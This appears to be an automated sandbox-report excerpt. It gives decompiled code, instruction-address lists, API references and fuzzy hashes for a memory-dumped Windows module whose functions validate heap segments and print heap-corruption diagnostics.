								 *(_t553 + 0x238) = _t551;
							}
						}
						goto L7;
					}
				}
			}

0x6b56a309
0x6b56a316
0x6b56a319
0x6b56a31d
0x6b56a32d
0x6b56a331
0x6b5b1e0d
0x6b5b1e10
0x6b56a3cb
0x6b56a3cb
0x6b56a3bd
0x6b56a3c3
0x6b56a3c3
0x6b56a33a
0x6b5b1e17
0x6b5b1e1b
0x6b5b1e1d
0x6b5b1e2f
0x6b5b1e34
0x6b5b1e36
0x6b5b1e3c
0x6b5b1e3c
0x6b5b1e3c
0x6b5b1e3c
0x6b5b1e36
0x6b5b1e42
0x6b5b1e45
0x6b5b1e47
0x6b56a3f8
0x6b56a3f8
0x6b56a3fb
0x6b56a3fd
0x6b5b1e50
0x6b56a403
0x6b56a411
0x6b56a411
0x6b56a411
0x6b56a41e
0x6b56a420
0x6b56a424
0x6b56a427
0x6b56a7c9
0x6b56a7cd
0x6b56a7d2
0x6b56a7d9
0x6b56a7e0
0x6b56a7e3
0x6b56a7ed
0x6b56a7f3
0x6b56a7f9
0x6b56a7ff
0x6b56a802
0x6b56a807
0x6b56a809
0x6b56a809
0x6b56a809
0x6b56a80f
0x6b56a80f
0x6b56a812
0x6b56a81c
0x6b56a821
0x6b56a824
0x6b56a42d
0x6b56a42d
0x6b56a42d
0x6b56a42d
0x6b56a42d
0x6b56a436
0x6b56a43a
0x6b56a609
0x6b56a60d
0x6b56a612
0x6b56a616
0x6b56a61a
0x6b5b1e57
0x6b5b1e59
0x00000000
0x00000000
0x6b5b1e5f
0x6b56a620
0x6b56a627
0x6b5b1e64
0x6b5b1e66
0x6b5b1e6c
0x6b5b1e72
0x6b5b1e76
0x6b5b1e95
0x6b5b1e9a
0x6b5b1e78
0x6b5b1e8d
0x6b5b1e92
0x6b5b1ea0
0x6b5b1ea5
0x6b5b1eaa
0x6b5b1eb2
0x6b5b1eb6
0x6b5b1eb9
0x6b5b1eb9
0x6b5b1ebe
0x6b5b1ec2
0x6b5b1ec2
0x6b5b1e66
0x6b56a62d
0x6b56a633
0x6b56a636
0x6b56a63a
0x6b56a63c
0x6b56a640
0x6b56a642
0x6b56a644
0x6b56a644
0x6b56a644
0x6b56a64d
0x6b56a64d
0x6b56a651
0x6b56a655
0x6b5b1eca
0x6b5b1ed1
0x00000000
0x00000000
0x6b5b1ed7
0x00000000
0x6b56a65b
0x6b56a669
0x6b56a66e
0x6b56a670
0x00000000
0x00000000
0x6b56a676
0x6b56a67b
0x6b56a680
0x6b56a682
0x6b5b1f1a
0x6b56a688
0x6b56a688
0x6b56a688
0x6b56a68a
0x6b56a68d
0x6b5b1f24
0x6b5b1f2a
0x6b5b1f31
0x6b5b1f43
0x6b5b1f43
0x6b5b1f31
0x6b56a693
0x6b56a697
0x6b56a69d
0x6b56a6a0
0x6b56a6a6
0x6b56a6a8
0x6b56a6a8
0x6b56a6a8
0x6b56a6a8
0x6b56a6b2
0x6b56a6b7
0x6b56a6c1
0x6b56a6c6
0x6b56a6d2
0x6b56a6d9
0x6b56a6e3
0x6b56a6e6
0x6b56a6eb
0x6b56a6ed
0x6b56a6ed
0x6b56a6ed
0x6b56a6ed
0x6b56a6f3
0x6b56a6f8
0x6b56a702
0x6b56a70a
0x6b56a70e
0x6b56a71a
0x6b56a71e
0x6b5b1fcb
0x6b5b1fcf
0x6b5b1fdd
0x6b5b1fe3
0x6b5b1fe3
0x6b56a724
0x6b56a728
0x6b56a72a
0x6b56a72d
0x6b56a737
0x6b56a73a
0x6b56a73c
0x6b56a742
0x6b56a748
0x6b5b1f4d
0x6b5b1f50
0x6b5b1f56
0x6b5b1f5c
0x6b5b1f5f
0x6b5b1f7e
0x6b5b1f83
0x6b5b1f61
0x6b5b1f76
0x6b5b1f7b
0x6b5b1f89
0x6b5b1f8e
0x6b5b1f93
0x6b5b1f94
0x6b5b1f9a
0x6b5b1f9c
0x6b5b1f9e
0x6b5b1fa1
0x6b5b1fa1
0x6b5b1fa6
0x6b5b1fa6
0x6b5b1f50
0x6b56a74e
0x6b56a751
0x6b56a754
0x6b56a75d
0x6b56a75e
0x6b56a762
0x6b56a767
0x6b5b1faf
0x6b5b1fb0
0x6b5b1fb9
0x6b5b1fbe
0x6b5b1fc2
0x6b5b1fc2
0x6b56a76d
0x6b56a76d
0x6b56a775
0x6b56a778
0x6b56a77d
0x6b56a77d
0x6b56a71e
0x6b56a782
0x6b56a787
0x6b56a789
0x6b5b1ff3
0x6b56a78f
0x6b56a78f
0x6b56a78f
0x6b56a791
0x6b56a794
0x6b5b1ffd
0x6b5b2006
0x6b5b200c
0x6b5b2017
0x6b5b2019
0x6b5b2024
0x6b5b2024
0x6b5b2024
0x6b5b2047
0x6b5b2047
0x6b5b200c
0x6b56a79a
0x6b56a79f
0x6b56a7a4
0x6b56a7a9
0x6b56a7ab
0x6b5b205a
0x6b56a7b1
0x6b56a7b1
0x6b56a7b1
0x6b56a7b3
0x6b56a7b6
0x00000000
0x6b56a7bc
0x6b5b2066
0x6b5b2068
0x6b5b2073
0x6b5b2073
0x6b5b2073
0x6b5b2078
0x6b5b2079
0x6b5b207d
0x00000000
0x6b5b207d
0x6b56a7b6
0x6b56a440
0x6b56a440
0x6b56a440
0x6b56a446
0x6b56a44c
0x6b56a44f
0x6b56a453
0x6b56a455
0x6b5b20b3
0x6b5b20b9
0x6b5b20b9
0x6b56a45d
0x6b56a460
0x6b56a464
0x6b56a466
0x6b56a46b
0x6b56a46f
0x6b56a471
0x6b56a471
0x6b56a471
0x6b56a474
0x6b56a479
0x6b56a47d
0x6b56a47f
0x6b5b2229
0x6b5b222f
0x6b56a3c8
0x6b56a3c8
0x6b56a3ca
0x6b56a3ca
0x00000000
0x6b56a3ca
0x6b5b2235
0x6b5b223a
0x6b5b223a
0x00000000
0x00000000
0x6b5b2240
0x6b5b2246
0x6b5b224a
0x6b5b2269
0x6b5b226e
0x6b5b224c
0x6b5b2261
0x6b5b2266
0x6b5b2274
0x6b5b2279
0x6b5b227e
0x6b5b2286
0x6b5b2288
0x6b5b228d
0x6b5b228d
0x6b5b2292
0x6b5b2292
0x6b5b2295
0x6b5b2295
0x00000000
0x6b5b2295
0x6b56a485
0x6b56a489
0x6b56a48b
0x6b56a48f
0x6b56a493
0x6b56a497
0x6b56a49b
0x6b56a4bb
0x6b56a4bb
0x6b56a4bd
0x6b56a4ff
0x6b56a4ff
0x6b56a501
0x6b56a505
0x6b56a50f
0x6b56a517
0x6b56a51b
0x6b56a527
0x6b56a52b
0x6b5b2182
0x6b5b2185
0x6b5b2193
0x6b5b2199
0x6b5b2199
0x6b56a531
0x6b56a535
0x6b56a538
0x6b56a548
0x6b56a54b
0x6b56a54d
0x6b56a553
0x6b56a559
0x6b5b2100
0x6b5b2103
0x6b5b2109
0x6b5b210f
0x6b5b2112
0x6b5b2131
0x6b5b2136
0x6b5b2114
0x6b5b2129
0x6b5b212e
0x6b5b213c
0x6b5b2141
0x6b5b2147
0x6b5b214d
0x6b5b2151
0x6b5b2154
0x6b5b2154
0x6b5b2159
0x6b5b2159
0x6b5b2103
0x6b56a55f
0x6b56a562
0x6b56a565
0x6b56a567
0x6b5b2162
0x6b56a56d
0x6b56a574
0x6b56a575
0x6b56a579
0x6b56a57e
0x6b5b2169
0x6b5b216a
0x6b5b2170
0x6b5b2175
0x6b5b2179
0x6b5b2179
0x6b56a57e
0x6b56a584
0x6b56a58f
0x6b56a58f
0x6b56a52b
0x6b56a5ad
0x6b56a5bc
0x6b56a5c1
0x6b56a5c6
0x6b56a5cb
0x6b56a5cd
0x6b5b21a9
0x6b56a5d3
0x6b56a5d3
0x6b56a5d3
0x6b56a5d5
0x6b56a5d8
0x6b5b21b3
0x6b5b21bc
0x6b5b21c2
0x6b5b21cd
0x6b5b21cf
0x6b5b21da
0x6b5b21da
0x6b5b21da
0x6b5b21f7
0x6b5b21f7
0x6b5b21c2
0x6b56a5de
0x6b56a5e3
0x6b56a5e8
0x6b56a5ea
0x6b5b220a
0x6b56a5f0
0x6b56a5f0
0x6b56a5f0
0x6b56a5f2
0x6b56a5f5
0x6b5b2219
0x6b5b221b
0x6b5b208c
0x6b5b208c
0x6b5b208c
0x6b5b2095
0x6b5b2096
0x6b5b2097
0x6b5b2098
0x6b5b20a4
0x6b5b20a5
0x6b5b20a9
0x6b5b20a9
0x00000000
0x6b56a5f5
0x6b56a4bf
0x6b56a4d3
0x6b56a4d8
0x6b56a4da
0x6b5b1ede
0x6b5b1ede
0x6b5b1ee4
0x6b5b1ee9
0x00000000
0x00000000
0x6b5b1f07
0x00000000
0x6b5b1f07
0x6b56a4e0
0x6b56a4e5
0x6b56a4e7
0x6b5b20cb
0x6b56a4ed
0x6b56a4ed
0x6b56a4ed
0x6b56a4f2
0x6b56a4f5
0x6b5b20d5
0x6b5b20de
0x6b5b20e4
0x6b5b20f6
0x6b5b20f6
0x6b5b20e4
0x6b56a4fb
0x00000000
0x6b56a4fb
0x6b56a4a1
0x6b56a4a4
0x6b56a4a8
0x00000000
0x00000000
0x6b56a4aa
0x6b56a4ac
0x00000000
0x00000000
0x6b56a4b2
0x6b56a4b5
0x00000000
0x00000000
0x00000000
0x6b56a4b5
0x6b56a43a
0x6b56a340
0x6b56a346
0x6b56a600
0x00000000
0x6b56a600
0x6b56a34f
0x6b56a351
0x6b56a358
0x6b56a3c6
0x00000000
0x6b56a371
0x6b56a37a
0x6b56a37f
0x6b56a382
0x6b56a384
0x6b56a394
0x00000000
0x6b56a396
0x6b56a399
0x6b56a3a7
0x6b56a3b0
0x6b56a3b4
0x6b56a3bb
0x6b56a3d2
0x6b56a3da
0x6b56a3df
0x6b56a3e1
0x6b56a3e5
0x6b56a3ea
0x6b56a3f0
0x6b56a3f0
0x6b56a3e1
0x00000000
0x6b56a3bb
0x6b56a394

APIs

RtlGetCurrentServiceSessionId.1105(00000000,00004000), ref: 6B56A4E0
RtlGetCurrentServiceSessionId.1105(?,-000000E8,?,?,?), ref: 6B56A5C1
RtlGetCurrentServiceSessionId.1105(?,-000000E8,?,?,?), ref: 6B56A5DE
RtlGetCurrentServiceSessionId.1105(?,00004000), ref: 6B56A676
RtlGetCurrentServiceSessionId.1105 ref: 6B56A782
RtlGetCurrentServiceSessionId.1105 ref: 6B56A79A
RtlGetCurrentServiceSessionId.1105 ref: 6B5B2012
RtlGetCurrentServiceSessionId.1105 ref: 6B5B2061
RtlGetCurrentServiceSessionId.1105(?,-000000E8,?,?,?), ref: 6B5B2214

Strings

((LONG)FreeEntry->Size > 1), xrefs: 6B5B1F89
HEAP[%wZ]: , xrefs: 6B5B1E88, 6B5B1F71, 6B5B2124, 6B5B225C
(!TrailingUCR), xrefs: 6B5B2274
(UCRBlock != NULL), xrefs: 6B5B1EA0
HEAP: , xrefs: 6B5B1E95, 6B5B1F7E, 6B5B2131, 6B5B2269
(LONG)FreeEntry->Size > 1, xrefs: 6B5B213C

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 1007659313-523794902
Opcode ID: 8a3839845198ec36e08e927eba7174b52ee50cfdc08d5f2294d4a0c1ae919f21
Instruction ID: 2d257d699d1272fb931f21722c36444862cba6623324760bd2913f61817fc44b
Opcode Fuzzy Hash: 8a3839845198ec36e08e927eba7174b52ee50cfdc08d5f2294d4a0c1ae919f21
Instruction Fuzzy Hash: 0A42D1306183919FE705CF38C494BAABBE5FF89788F0449ADE4958B361E738D941CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6B604AEF, Relevance: 47.8, APIs: 18, Strings: 9, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 59%

			E6B604AEF(signed int __ecx, signed int __edx, intOrPtr* _a8, signed int* _a12, signed int* _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t189;
				intOrPtr _t191;
				intOrPtr _t210;
				signed int _t225;
				signed char _t231;
				intOrPtr _t232;
				unsigned int _t245;
				intOrPtr _t249;
				intOrPtr _t259;
				signed int _t281;
				signed int _t283;
				intOrPtr _t284;
				signed int _t288;
				signed int* _t294;
				signed int* _t298;
				intOrPtr* _t299;
				intOrPtr* _t300;
				signed int _t307;
				signed int _t309;
				signed short _t312;
				signed short _t315;
				signed int _t317;
				signed int _t320;
				signed int _t322;
				signed int _t326;
				signed int _t327;
				void* _t328;
				signed int _t332;
				signed int _t340;
				signed int _t342;
				signed char _t344;
				signed int* _t345;
				signed int _t346;
				signed char _t352;
				signed char _t367;
				signed int _t374;
				intOrPtr* _t378;
				signed int _t380;
				signed int _t385;
				signed char _t390;
				unsigned int _t392;
				signed char _t395;
				unsigned int _t397;
				intOrPtr* _t400;
				signed int _t402;
				signed int _t405;
				intOrPtr* _t406;
				signed int _t407;
				intOrPtr _t412;
				signed int _t414;
				signed int _t415;
				signed int _t416;
				signed int _t429;

				_v16 = _v16 & 0x00000000;
				_t189 = 0;
				_v8 = _v8 & 0;
				_t332 = __edx;
				_v12 = 0;
				_t414 = __ecx;
				_t415 = __edx;
				if(__edx >=  *((intOrPtr*)(__edx + 0x28))) {
					L88:
					_t416 = _v16;
					if( *((intOrPtr*)(_t332 + 0x2c)) == _t416) {
						__eflags =  *((intOrPtr*)(_t332 + 0x30)) - _t189;
						if( *((intOrPtr*)(_t332 + 0x30)) == _t189) {
							L107:
							return 1;
						}
						_t191 =  *[fs:0x30];
						__eflags =  *(_t191 + 0xc);
						if( *(_t191 + 0xc) == 0) {
							_push("HEAP: ");
							E6B54B150();
						} else {
							E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push(_v12);
						_push( *((intOrPtr*)(_t332 + 0x30)));
						_push(_t332);
						_push("Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)\n");
						L122:
						E6B54B150();
						L119:
						return 0;
					}
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6B54B150();
					} else {
						E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t416);
					_push( *((intOrPtr*)(_t332 + 0x2c)));
					_push(_t332);
					_push("Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)\n");
					goto L122;
				} else {
					goto L1;
				}
				do {
					L1:
					 *_a16 = _t415;
					if( *(_t414 + 0x4c) != 0) {
						_t392 =  *(_t414 + 0x50) ^  *_t415;
						 *_t415 = _t392;
						_t352 = _t392 >> 0x00000010 ^ _t392 >> 0x00000008 ^ _t392;
						_t424 = _t392 >> 0x18 - _t352;
						if(_t392 >> 0x18 != _t352) {
							_push(_t352);
							E6B5FFA2B(_t332, _t414, _t415, _t414, _t415, _t424);
						}
					}
					if(_v8 != ( *(_t415 + 4) ^  *(_t414 + 0x54))) {
						_t210 =  *[fs:0x30];
						__eflags =  *(_t210 + 0xc);
						if( *(_t210 + 0xc) == 0) {
							_push("HEAP: ");
							E6B54B150();
						} else {
							E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push(_v8 & 0x0000ffff);
						_t340 =  *(_t415 + 4) & 0x0000ffff ^  *(_t414 + 0x54) & 0x0000ffff;
						__eflags = _t340;
						_push(_t340);
						E6B54B150("Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)\n", _t415);
						L117:
						__eflags =  *(_t414 + 0x4c);
						if( *(_t414 + 0x4c) != 0) {
							 *(_t415 + 3) =  *(_t415 + 2) ^  *(_t415 + 1) ^  *_t415;
							 *_t415 =  *_t415 ^  *(_t414 + 0x50);
							__eflags =  *_t415;
						}
						goto L119;
					}
					_t225 =  *_t415 & 0x0000ffff;
					_t390 =  *(_t415 + 2);
					_t342 = _t225;
					_v8 = _t342;
					_v20 = _t342;
					_v28 = _t225 << 3;
					if((_t390 & 0x00000001) == 0) {
						__eflags =  *(_t414 + 0x40) & 0x00000040;
						_t344 = (_t342 & 0xffffff00 | ( *(_t414 + 0x40) & 0x00000040) != 0x00000000) & _t390 >> 0x00000002;
						__eflags = _t344 & 0x00000001;
						if((_t344 & 0x00000001) == 0) {
							L66:
							_t345 = _a12;
							 *_a8 =  *_a8 + 1;
							 *_t345 =  *_t345 + ( *_t415 & 0x0000ffff);
							__eflags =  *_t345;
							L67:
							_t231 =  *(_t415 + 6);
							if(_t231 == 0) {
								_t346 = _t414;
							} else {
								_t346 = (_t415 & 0xffff0000) - ((_t231 & 0x000000ff) << 0x10) + 0x10000;
							}
							if(_t346 != _t332) {
								_t232 =  *[fs:0x30];
								__eflags =  *(_t232 + 0xc);
								if( *(_t232 + 0xc) == 0) {
									_push("HEAP: ");
									E6B54B150();
								} else {
									E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push( *(_t415 + 6) & 0x000000ff);
								_push(_t415);
								_push("Heap block at %p has incorrect segment offset (%x)\n");
								goto L95;
							} else {
								if( *((char*)(_t415 + 7)) != 3) {
									__eflags =  *(_t414 + 0x4c);
									if( *(_t414 + 0x4c) != 0) {
										 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
										 *_t415 =  *_t415 ^  *(_t414 + 0x50);
										__eflags =  *_t415;
									}
									_t415 = _t415 + _v28;
									__eflags = _t415;
									goto L86;
								}
								_t245 =  *(_t415 + 0x1c);
								if(_t245 == 0) {
									_t395 =  *_t415 & 0x0000ffff;
									_v6 = _t395 >> 8;
									__eflags = _t415 + _t395 * 8 -  *((intOrPtr*)(_t332 + 0x28));
									if(_t415 + _t395 * 8 ==  *((intOrPtr*)(_t332 + 0x28))) {
										__eflags =  *(_t414 + 0x4c);
										if( *(_t414 + 0x4c) != 0) {
											 *(_t415 + 3) =  *(_t415 + 2) ^ _v6 ^ _t395;
											 *_t415 =  *_t415 ^  *(_t414 + 0x50);
											__eflags =  *_t415;
										}
										goto L107;
									}
									_t249 =  *[fs:0x30];
									__eflags =  *(_t249 + 0xc);
									if( *(_t249 + 0xc) == 0) {
										_push("HEAP: ");
										E6B54B150();
									} else {
										E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									}
									_push( *((intOrPtr*)(_t332 + 0x28)));
									_push(_t415);
									_push("Heap block at %p is not last block in segment (%p)\n");
									L95:
									E6B54B150();
									goto L117;
								}
								_v12 = _v12 + 1;
								_v16 = _v16 + (_t245 >> 0xc);
								if( *(_t414 + 0x4c) != 0) {
									 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
									 *_t415 =  *_t415 ^  *(_t414 + 0x50);
								}
								_t415 = _t415 + 0x20 +  *(_t415 + 0x1c);
								if(_t415 ==  *((intOrPtr*)(_t332 + 0x28))) {
									L82:
									_v8 = _v8 & 0x00000000;
									goto L86;
								} else {
									if( *(_t414 + 0x4c) != 0) {
										_t397 =  *(_t414 + 0x50) ^  *_t415;
										 *_t415 = _t397;
										_t367 = _t397 >> 0x00000010 ^ _t397 >> 0x00000008 ^ _t397;
										_t442 = _t397 >> 0x18 - _t367;
										if(_t397 >> 0x18 != _t367) {
											_push(_t367);
											E6B5FFA2B(_t332, _t414, _t415, _t414, _t415, _t442);
										}
									}
									if( *(_t414 + 0x54) !=  *(_t415 + 4)) {
										_t259 =  *[fs:0x30];
										__eflags =  *(_t259 + 0xc);
										if( *(_t259 + 0xc) == 0) {
											_push("HEAP: ");
											E6B54B150();
										} else {
											E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push( *(_t415 + 4) & 0x0000ffff ^  *(_t414 + 0x54) & 0x0000ffff);
										_push(_t415);
										_push("Heap block at %p has corrupted PreviousSize (%lx)\n");
										goto L95;
									} else {
										if( *(_t414 + 0x4c) != 0) {
											 *(_t415 + 3) =  *(_t415 + 2) ^  *(_t415 + 1) ^  *_t415;
											 *_t415 =  *_t415 ^  *(_t414 + 0x50);
										}
										goto L82;
									}
								}
							}
						}
						_t281 = _v28 + 0xfffffff0;
						_v24 = _t281;
						__eflags = _t390 & 0x00000002;
						if((_t390 & 0x00000002) != 0) {
							__eflags = _t281 - 4;
							if(_t281 > 4) {
								_t281 = _t281 - 4;
								__eflags = _t281;
								_v24 = _t281;
							}
						}
						__eflags = _t390 & 0x00000008;
						if((_t390 & 0x00000008) == 0) {
							_t102 = _t415 + 0x10; // -8
							_t283 = E6B59D540(_t102, _t281, 0xfeeefeee);
							_v20 = _t283;
							__eflags = _t283 - _v24;
							if(_t283 != _v24) {
								_t284 =  *[fs:0x30];
								__eflags =  *(_t284 + 0xc);
								if( *(_t284 + 0xc) == 0) {
									_push("HEAP: ");
									E6B54B150();
								} else {
									E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_t288 = _v20 + 8 + _t415;
								__eflags = _t288;
								_push(_t288);
								_push(_t415);
								_push("Free Heap block %p modified at %p after it was freed\n");
								goto L95;
							}
							goto L66;
						} else {
							_t374 =  *(_t415 + 8);
							_t400 =  *((intOrPtr*)(_t415 + 0xc));
							_v24 = _t374;
							_v28 = _t400;
							_t294 =  *(_t374 + 4);
							__eflags =  *_t400 - _t294;
							if( *_t400 != _t294) {
								L64:
								_push(_t374);
								_push( *_t400);
								_t101 = _t415 + 8; // -16
								E6B60A80D(_t414, 0xd, _t101, _t294);
								goto L86;
							}
							_t56 = _t415 + 8; // -16
							__eflags =  *_t400 - _t56;
							_t374 = _v24;
							if( *_t400 != _t56) {
								goto L64;
							}
							 *((intOrPtr*)(_t414 + 0x74)) =  *((intOrPtr*)(_t414 + 0x74)) - _v20;
							_t402 =  *(_t414 + 0xb4);
							__eflags = _t402;
							if(_t402 == 0) {
								L35:
								_t298 = _v28;
								 *_t298 = _t374;
								 *(_t374 + 4) = _t298;
								__eflags =  *(_t415 + 2) & 0x00000008;
								if(( *(_t415 + 2) & 0x00000008) == 0) {
									L39:
									_t377 =  *_t415 & 0x0000ffff;
									_t299 = _t414 + 0xc0;
									_v28 =  *_t415 & 0x0000ffff;
									 *(_t415 + 2) = 0;
									 *((char*)(_t415 + 7)) = 0;
									__eflags =  *(_t414 + 0xb4);
									if( *(_t414 + 0xb4) == 0) {
										_t378 =  *_t299;
									} else {
										_t378 = E6B56E12C(_t414, _t377);
										_t299 = _t414 + 0xc0;
									}
									__eflags = _t299 - _t378;
									if(_t299 == _t378) {
										L51:
										_t300 =  *((intOrPtr*)(_t378 + 4));
										__eflags =  *_t300 - _t378;
										if( *_t300 != _t378) {
											_push(_t378);
											_push( *_t300);
											__eflags = 0;
											E6B60A80D(0, 0xd, _t378, 0);
										} else {
											_t87 = _t415 + 8; // -16
											_t406 = _t87;
											 *_t406 = _t378;
											 *((intOrPtr*)(_t406 + 4)) = _t300;
											 *_t300 = _t406;
											 *((intOrPtr*)(_t378 + 4)) = _t406;
										}
										 *((intOrPtr*)(_t414 + 0x74)) =  *((intOrPtr*)(_t414 + 0x74)) + ( *_t415 & 0x0000ffff);
										_t405 =  *(_t414 + 0xb4);
										__eflags = _t405;
										if(_t405 == 0) {
											L61:
											__eflags =  *(_t414 + 0x4c);
											if(__eflags != 0) {
												 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
												 *_t415 =  *_t415 ^  *(_t414 + 0x50);
											}
											goto L86;
										} else {
											_t380 =  *_t415 & 0x0000ffff;
											while(1) {
												__eflags = _t380 -  *((intOrPtr*)(_t405 + 4));
												if(_t380 <  *((intOrPtr*)(_t405 + 4))) {
													break;
												}
												_t307 =  *_t405;
												__eflags = _t307;
												if(_t307 == 0) {
													_t309 =  *((intOrPtr*)(_t405 + 4)) - 1;
													L60:
													_t94 = _t415 + 8; // -16
													E6B56E4A0(_t414, _t405, 1, _t94, _t309, _t380);
													goto L61;
												}
												_t405 = _t307;
											}
											_t309 = _t380;
											goto L60;
										}
									} else {
										_t407 =  *(_t414 + 0x4c);
										while(1) {
											__eflags = _t407;
											if(_t407 == 0) {
												_t312 =  *(_t378 - 8) & 0x0000ffff;
											} else {
												_t315 =  *(_t378 - 8);
												_t407 =  *(_t414 + 0x4c);
												__eflags = _t315 & _t407;
												if((_t315 & _t407) != 0) {
													_t315 = _t315 ^  *(_t414 + 0x50);
													__eflags = _t315;
												}
												_t312 = _t315 & 0x0000ffff;
											}
											__eflags = _v28 - (_t312 & 0x0000ffff);
											if(_v28 <= (_t312 & 0x0000ffff)) {
												goto L51;
											}
											_t378 =  *_t378;
											__eflags = _t414 + 0xc0 - _t378;
											if(_t414 + 0xc0 != _t378) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
								}
								_t317 = E6B56A229(_t414, _t415);
								__eflags = _t317;
								if(_t317 != 0) {
									goto L39;
								}
								E6B56A309(_t414, _t415,  *_t415 & 0x0000ffff, 1);
								goto L86;
							}
							_t385 =  *_t415 & 0x0000ffff;
							while(1) {
								__eflags = _t385 -  *((intOrPtr*)(_t402 + 4));
								if(_t385 <  *((intOrPtr*)(_t402 + 4))) {
									break;
								}
								_t320 =  *_t402;
								__eflags = _t320;
								if(_t320 == 0) {
									_t322 =  *((intOrPtr*)(_t402 + 4)) - 1;
									L34:
									_t63 = _t415 + 8; // -16
									E6B56BC04(_t414, _t402, 1, _t63, _t322, _t385);
									_t374 = _v24;
									goto L35;
								}
								_t402 = _t320;
							}
							_t322 = _t385;
							goto L34;
						}
					}
					if(_a20 == 0) {
						L18:
						if(( *(_t415 + 2) & 0x00000004) == 0) {
							goto L67;
						}
						if(E6B5F23E3(_t414, _t415) == 0) {
							goto L117;
						}
						goto L67;
					} else {
						if((_t390 & 0x00000002) == 0) {
							_t326 =  *(_t415 + 3) & 0x000000ff;
						} else {
							_t328 = E6B541F5B(_t415);
							_t342 = _v20;
							_t326 =  *(_t328 + 2) & 0x0000ffff;
						}
						_t429 = _t326;
						if(_t429 == 0) {
							goto L18;
						}
						if(_t429 >= 0) {
							__eflags = _t326 & 0x00000800;
							if(__eflags != 0) {
								goto L18;
							}
							__eflags = _t326 -  *((intOrPtr*)(_t414 + 0x84));
							if(__eflags >= 0) {
								goto L18;
							}
							_t412 = _a20;
							_t327 = _t326 & 0x0000ffff;
							L17:
							 *((intOrPtr*)(_t412 + _t327 * 4)) =  *((intOrPtr*)(_t412 + _t327 * 4)) + _t342;
							goto L18;
						}
						_t327 = _t326 & 0x00007fff;
						if(_t327 >= 0x81) {
							goto L18;
						}
						_t412 = _a24;
						goto L17;
					}
					L86:
				} while (_t415 <  *((intOrPtr*)(_t332 + 0x28)));
				_t189 = _v12;
				goto L88;
			}

0x6b604af7
0x6b604afb
0x6b604afd
0x6b604b01
0x6b604b03
0x6b604b08
0x6b604b0a
0x6b604b0f
0x6b604eb5
0x6b604eb5
0x6b604ebb
0x6b6050d5
0x6b6050d8
0x6b604ff6
0x00000000
0x6b604ff6
0x6b6050de
0x6b6050e4
0x6b6050e8
0x6b605107
0x6b60510c
0x6b6050ea
0x6b6050ff
0x6b605104
0x6b605112
0x6b605115
0x6b605118
0x6b605119
0x6b6050cb
0x6b6050cb
0x6b6050af
0x00000000
0x6b6050af
0x6b604ecb
0x6b6050b6
0x6b6050bb
0x6b604ed1
0x6b604ee6
0x6b604eeb
0x6b6050c1
0x6b6050c2
0x6b6050c5
0x6b6050c6
0x00000000
0x00000000
0x00000000
0x00000000
0x6b604b15
0x6b604b15
0x6b604b1c
0x6b604b1e
0x6b604b23
0x6b604b27
0x6b604b33
0x6b604b38
0x6b604b3a
0x6b604b3c
0x6b604b41
0x6b604b41
0x6b604b3a
0x6b604b52
0x6b605045
0x6b60504b
0x6b60504f
0x6b60506e
0x6b605073
0x6b605051
0x6b605066
0x6b60506b
0x6b605083
0x6b605088
0x6b605088
0x6b60508a
0x6b605091
0x6b605099
0x6b605099
0x6b60509d
0x6b6050a7
0x6b6050ad
0x6b6050ad
0x6b6050ad
0x00000000
0x6b60509d
0x6b604b58
0x6b604b5b
0x6b604b5e
0x6b604b63
0x6b604b66
0x6b604b69
0x6b604b6f
0x6b604be4
0x6b604bf0
0x6b604bf2
0x6b604bf5
0x6b604dc3
0x6b604dc6
0x6b604dc9
0x6b604dce
0x6b604dce
0x6b604dd0
0x6b604dd0
0x6b604dd5
0x6b604def
0x6b604dd7
0x6b604de7
0x6b604de7
0x6b604df3
0x6b605001
0x6b605007
0x6b60500b
0x6b60502a
0x6b60502f
0x6b60500d
0x6b605022
0x6b605027
0x6b605039
0x6b60503a
0x6b60503b
0x00000000
0x6b604df9
0x6b604dfd
0x6b604e90
0x6b604e94
0x6b604e9e
0x6b604ea4
0x6b604ea4
0x6b604ea4
